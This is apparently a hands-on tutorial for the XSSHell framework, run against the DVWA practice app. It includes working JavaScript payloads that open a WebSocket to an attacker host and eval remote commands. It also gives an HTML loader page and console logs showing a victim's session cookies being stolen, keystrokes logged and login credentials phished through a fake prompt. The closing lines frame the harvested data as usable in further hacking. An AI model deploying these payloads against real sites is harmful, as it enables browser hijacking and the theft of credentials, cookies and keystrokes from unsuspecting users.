XSS Shell- Cross Site Scripting

XSS-Shell Intro:-

XSS Shell framework uses cross-site scripting  to get reverse shell. In order to attack on the victim’s web browser you just need an XSS flaw to run XSS reverse shell commands.

XSS Shell comes with number of payloads which can be used in attacking the victim’s browser.

Now to run XSS shell, we have setup an attacker machine, vulnerable server and the target machine.


TARGET MACHINE:

  • Web browser is running to interacting with a server (vulnerable server) on internet.

VULNERABLE MACHINE:

  • We have used DVWA as target to show how XSS reverse shell works. DVWA is Damn Vulnerable Web App used to learn pentesting. For downloading DVWA go to http://www.dvwa.co.uk/DVWA-1.0.7.iso

ATTACKER MACHINE:

  • We have used UBUNTU 18.04 to run XSS SHELL framework.
  • You can use any Linux distros but you must have an GO  in your linux distros.
  • GO is the programming language, developed by Google Engineers Robert Griesemer, Rob Pike, and Ken Thompson in 2007
  •  To install GO type sudo apt-get update.
root@ubuntu:/home/iicybersecurity# sudo apt-get update
Hit:1 http://security.ubuntu.com/ubuntu bionic-security InRelease
Hit:2 http://us.archive.ubuntu.com/ubuntu bionic InRelease
Hit:3 http://us.archive.ubuntu.com/ubuntu bionic-updates InRelease
Hit:4 http://us.archive.ubuntu.com/ubuntu bionic-backports InRelease
Ign:5 http://ppa.launchpad.net/matt-nycresistor/chaosvpn/ubuntu bionic InRelease
Err:6 http://ppa.launchpad.net/matt-nycresistor/chaosvpn/ubuntu bionic Release
404 Not Found [IP: 91.189.95.83 80]
Err:7 http://dl.google.com/linux/chrome/deb stable InRelease
Could not connect to dl.google.com:80 (2404:6800:4002:80b::200e). - connect (101: Network is unreachable) Could not connect to dl.google.com:80 (172.217.167.46), connection timed out
Reading package lists... Done
E: The repository 'http://ppa.launchpad.net/matt-nycresistor/chaosvpn/ubuntu bionic Release' does not have a Release file.
N: Updating from such a repository can't be done securely, and is therefore disabled by default.
N: See apt-secure(8) manpage for repository creation and user configuration details.
  • Then type sudo apt-get install golang-1.10-go
root@ubuntu:/home/iicybersecurity# sudo apt-get install golang-1.10-go
Reading package lists... Done
Building dependency tree
Reading state information... Done
The following additional packages will be installed:
golang-1.10-race-detector-runtime golang-1.10-src pkg-config
Suggested packages:
bzr mercurial subversion
The following NEW packages will be installed:
golang-1.10-go golang-1.10-race-detector-runtime golang-1.10-src pkg-config
0 upgraded, 4 newly installed, 0 to remove and 60 not upgraded.
Need to get 40.3 MB of archives.
After this operation, 225 MB of additional disk space will be used.
Do you want to continue? [Y/n] Y
Get:1 http://us.archive.ubuntu.com/ubuntu bionic-updates/main amd64 golang-1.10-src amd64 1.10.4-2ubuntu1~18.04.1 [11.1 MB]
Get:2 http://us.archive.ubuntu.com/ubuntu bionic-updates/main amd64 golang-1.10-go amd64 1.10.4-2ubuntu1~18.04.1 [28.6 MB]
Get:3 http://us.archive.ubuntu.com/ubuntu bionic/main amd64 golang-1.10-race-detector-runtime amd64 0.0+svn285455-0ubuntu1 [478 kB]
Get:4 http://us.archive.ubuntu.com/ubuntu bionic/main amd64 pkg-config amd64 0.29.1-0ubuntu2 [45.0 kB]
Fetched 40.3 MB in 12s (3,275 kB/s)
Selecting previously unselected package golang-1.10-src.
(Reading database ... 180284 files and directories currently installed.)
Preparing to unpack .../golang-1.10-src_1.10.4-2ubuntu1~18.04.1_amd64.deb ...
Unpacking golang-1.10-src (1.10.4-2ubuntu1~18.04.1) ...
Selecting previously unselected package golang-1.10-go.
Preparing to unpack .../golang-1.10-go_1.10.4-2ubuntu1~18.04.1_amd64.deb ...
Unpacking golang-1.10-go (1.10.4-2ubuntu1~18.04.1) ...
Selecting previously unselected package golang-1.10-race-detector-runtime.
Preparing to unpack .../golang-1.10-race-detector-runtime_0.0+svn285455-0ubuntu1_amd64.deb ...
Unpacking golang-1.10-race-detector-runtime (0.0+svn285455-0ubuntu1) ...
Selecting previously unselected package pkg-config.
Preparing to unpack .../pkg-config_0.29.1-0ubuntu2_amd64.deb ...
Unpacking pkg-config (0.29.1-0ubuntu2) ...
Setting up golang-1.10-race-detector-runtime (0.0+svn285455-0ubuntu1) ...
Setting up pkg-config (0.29.1-0ubuntu2) ...
Setting up golang-1.10-src (1.10.4-2ubuntu1~18.04.1) ...
Processing triggers for man-db (2.8.3-2ubuntu0.1) ...
Setting up golang-1.10-go (1.10.4-2ubuntu1~18.04.1) ...
  • After cloning, type go in linux terminal.
  • Then type snap install go
  • Type snap install go –classic
root@ubuntu:/home/iicybersecurity# go

Command 'go' not found, but can be installed with:

snap install go # version 1.11.2, or
apt install golang-go
apt install gccgo-go

See 'snap info go' for additional versions.

root@ubuntu:/home/iicybersecurity# snap install go
error: This revision of snap "go" was published using classic confinement and thus may perform
arbitrary system changes outside of the security sandbox that snaps are usually confined to,
which may put your system at risk.

If you understand and want to proceed repeat the command including --classic.
root@ubuntu:/home/iicybersecurity# snap install go --classic
go 1.11.2 from Michael Hudson-Doyle (mwhudson) installed
  • Before using the go, you must run the go command. For that type go. If you get error “go: command not found” as shown below it means that you have not set the go in PATH variable.
  • In that case run type /snap/bin/go
root@ubuntu:/home/iicybersecurity# go
Command 'go' is available in '/snap/bin/go'
The command could not be located because '/snap/bin' is not included in the PATH environment variable.
go: command not found
root@ubuntu:/home/iicybersecurity# /snap/bin/go
Go is a tool for managing Go source code.

Usage:

go <command> [arguments]

The commands are:

bug start a bug report
build compile packages and dependencies
clean remove object files and cached files
doc show documentation for package or symbol
env print Go environment information
fix update packages to use new APIs
fmt gofmt (reformat) package sources
generate generate Go files by processing source
get download and install packages and dependencies
install compile and install packages and dependencies
list list packages or modules
mod module maintenance
run compile and run Go program
test test packages
tool run specified go tool
version print Go version
vet report likely mistakes in packages

Use "go help <command>" for more information about a command.

Additional help topics:

buildmode build modes
c calling between Go and C
cache build and test caching
environment environment variables
filetype file types
go.mod the go.mod file
gopath GOPATH environment variable
gopath-get legacy GOPATH go get
goproxy module proxy protocol
importpath import path syntax
modules modules, module versions, and more
module-get module-aware go get
packages package lists and patterns
testflag testing flags
testfunc testing functions

Use "go help <topic>" for more information about that topic.
  • After installing and configuring GO in linux. Type

git clone https://github.com/raz-varren/xsshell.git

root@ubuntu:/home/iicybersecurity# git clone https://github.com/raz-varren/xsshell.git
Cloning into 'xsshell'...
remote: Enumerating objects: 30, done.
remote: Counting objects: 100% (30/30), done.
remote: Compressing objects: 100% (27/27), done.
remote: Total 30 (delta 0), reused 30 (delta 0), pack-reused 0
Unpacking objects: 100% (30/30), done.
  • Type cd xsshell
  • Then type ls
root@ubuntu:/home/iicybersecurity/xsshell# ls
config exploit-js LICENSE main.go README.md shell

 

TIME TO SET VULNERABLE SERVER:-

  • As we used DVWA machine as a vulnerable machine.
  • So to run the XSS reverse shell, you must upload below JS files onto DVWA.
  • Open Notepad copy the below javascript code.
  • Edit the .JS files and enter attacker’s machine IP address.
(function(){ 'use strict';
//replace these with your own endpoint configuration
var host = 'Enter Attacker's IP Address',
port = '8234',
proto = 'ws',
path = '/s';

var socket = new WebSocket(proto+'://'+host+':'+port+path),
EvalContext = function(header){
this.send = function(data, isErr){
var errCode = (isErr) ? 'z' : '';
socket.send(errCode+header+data);
};
};

function evctx(js, c){
return function() { return eval(js); }.call(c);
}

socket.onmessage = function(e){
var d = e.data, ctx = new EvalContext(d.slice(0,8));
try{
evctx(d.slice(8), ctx);
}catch(err){
//console.log('silently fail:', err);
ctx.send(err, true)
}
};
})();
  • Create another javascript file and copy the below code.
  • This JS file will have limited reverse shell functionalities.
  • Enter IP address in below JS file to run the javascript.
(function(){function e(a,b){return function(){return eval(a)}.call(b)}var d=new WebSocket("ws://Enter Attacker's IP Address:8234/s"),f=function(a){this.send=function(b,c){d.send((c?"z":"")+a+b)}};d.onmessage=function(a){a=a.data;var b=new f(a.slice(0,8));try{e(a.slice(8),b)}catch(c){b.send(c,!0)}}})();
  • Create any basic HTML file for the target which will be used in attacking. You can also use the below HTML.
<!DOCTYPE html>
<html>
<body>


<img src="anonymous.jpg" alt="image">
<script src="exploit.js">
</script>

</body>
</html>

 

  • After making an exploited HTML and JS files.
  • Now go to DVWA page and upload exploited HTML and JS files as shown below.

  • Upload html file.

  • Upload js file.

  • Upload another js file (optional).

  • upload the image file with name “anonymous.jpg”. Or of your choice, but the same will be change HTML code above.

TIME TO GO TO TARGET MACHINE:-

  • Now on Target web browser open the vulnerable page/html file as shown below.

  • After opening the html file. Go back to XSS shell running on attacker machine. You will see a reverse shell has been started.

 

ON ATTACKER MACHINE:-

====== start socket: 3, header: Ai2EKRM= ======
socket connected: 3
user agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36
page url: http://192.168.1.8/hackable/uploads/victim.html
referrer:
cookies: PHPSESSID=70qors8m6u7q6ma39hrqknt160; security=low
====== end socket: 3, header: Ai2EKRM= ======
  • Now you can use the any XSS Shell commands to exploit victim web browser.
  • You can use any of the commands into XSS shell for example.
  • Type \alert hello
\alert hello
xsshell > sending to websocket: 11

 

  • In the below screen, after executing the above XSS command it has printed hello on target machine.

  • Type \kl which will work as keylogger, logs all the pressed keys.
xsshell > \kl
xsshell > sending to websocket: 11
  • If the victim enters anything on the target’s web page that all typed keys will logged as shown below.
====== start socket: 11, header: AsCtkvo= ======
key log 2018-11-29 02:59:06.067927122 -0800 PST m=+13222.823223185:
["h","e","l","l","o"," ","t","h","i","s"," ","i","s"," ","m","e"," "]
====== end socket: 11, header: AsCtkvo= ======

====== start socket: 11, header: ArGNXsw= ======
key log 2018-11-29 02:59:06.068336196 -0800 PST m=+13222.823632187:
["h","e","l","l","o"," ","t","h","i","s"," ","i","s"," ","m","e"," "]
====== end socket: 11, header: ArGNXsw= ======

====== start socket: 11, header: AsCtkvo= ======
key log 2018-11-29 02:59:17.104589202 -0800 PST m=+13233.859885318:
["t","e","s","t","Shift","@"]
====== end socket: 11, header: AsCtkvo= ======

====== start socket: 11, header: ArGNXsw= ======
key log 2018-11-29 02:59:17.104668579 -0800 PST m=+13233.859964571:
["t","e","s","t","Shift","@"]
====== end socket: 11, header: ArGNXsw= ======

====== start socket: 11, header: AsCtkvo= ======
key log 2018-11-29 02:59:20.09994843 -0800 PST m=+13236.855244650:
["g","m","a","i","l",".","c","o","m"]
====== end socket: 11, header: AsCtkvo= ======

====== start socket: 11, header: ArGNXsw= ======
key log 2018-11-29 02:59:20.099990561 -0800 PST m=+13236.855286523:
["g","m","a","i","l",".","c","o","m"]
====== end socket: 11, header: ArGNXsw= ======

====== start socket: 11, header: AsCtkvo= ======
key log 2018-11-29 02:59:26.981990988 -0800 PST m=+13243.737287105:
["a","s","d","f","g","Shift","@","3","4","5"]
====== end socket: 11, header: AsCtkvo= ======

====== start socket: 11, header: ArGNXsw= ======
key log 2018-11-29 02:59:26.982184382 -0800 PST m=+13243.737480409:
["a","s","d","f","g","Shift","@","3","4","5"]
====== end socket: 11, header: ArGNXsw= ======
  • For getting the current cookies type \cs
\cs
xsshell > sending to websocket: 11
xsshell >
xsshell >
====== start socket: 11, header: Atkk7OM= ======
page cookies 2018-11-29 03:05:04.302990043 -0800 PST m=+13581.058286125:
PHPSESSID=70qors8m6u7q6ma39hrqknt160; security=low
====== end socket: 11, header: Atkk7OM= ======
  • \pfl is used to prompt a login page. type \pfl in linux terminal then exploited page will show a popup of to enter the login credentials.

  • If the victim enter his personal credentials. His personal credentials will be logged in linux terminal as shown below.
xsshell > \pfl
xsshell > sending to websocket: 11
xsshell >
xsshell >
====== start socket: 11, header: AsCtkvo= ======
key log 2018-11-29 03:08:46.088287465 -0800 PST m=+13802.843583531:
["a","d","m","i","n"]
====== end socket: 11, header: AsCtkvo= ======

====== start socket: 11, header: ArGNXsw= ======
key log 2018-11-29 03:08:46.088394885 -0800 PST m=+13802.843690822:
["a","d","m","i","n"]
====== end socket: 11, header: ArGNXsw= ======

====== start socket: 11, header: AsCtkvo= ======
key log 2018-11-29 03:08:49.610729983 -0800 PST m=+13806.366026040:
["1","2","3","4","5"]
====== end socket: 11, header: AsCtkvo= ======

====== start socket: 11, header: ArGNXsw= ======
key log 2018-11-29 03:08:49.610780625 -0800 PST m=+13806.366076529:
["1","2","3","4","5"]
====== end socket: 11, header: ArGNXsw= ======

====== start socket: 11, header: AuO3zKM= ======
prompt for login response 2018-11-29 03:08:50.020784871 -0800 PST m=+13806.776080956:
{"username":"admin","password":"12345"}
====== end socket: 11, header: AuO3zKM= ======
\pfl
xsshell > sending to websocket: 11
xsshell >
xsshell >
====== start socket: 11, header: AsCtkvo= ======
key log 2018-11-29 03:10:07.294374561 -0800 PST m=+13884.049670540:
["a","d","m","i","n"]
====== end socket: 11, header: AsCtkvo= ======

====== start socket: 11, header: ArGNXsw= ======
key log 2018-11-29 03:10:07.294536394 -0800 PST m=+13884.049832333:
["a","d","m","i","n"]
====== end socket: 11, header: ArGNXsw= ======

====== start socket: 11, header: AsCtkvo= ======
key log 2018-11-29 03:10:10.102303974 -0800 PST m=+13886.857600064:
["1","2","3","4","5"]
====== end socket: 11, header: AsCtkvo= ======

====== start socket: 11, header: ArGNXsw= ======
key log 2018-11-29 03:10:10.102344327 -0800 PST m=+13886.857640323:
["1","2","3","4","5"]
====== end socket: 11, header: ArGNXsw= ======
  • After executing the above query, you can see that victim’s personal could be reveal and can be used in other hacking activities.

Ethical hacking researcher of International Institute of Cyber Security (iicybersecurity) says XSS are one among the top 10 attacks used in today’s world. You should be very cautious as XSS can be in hidden fields.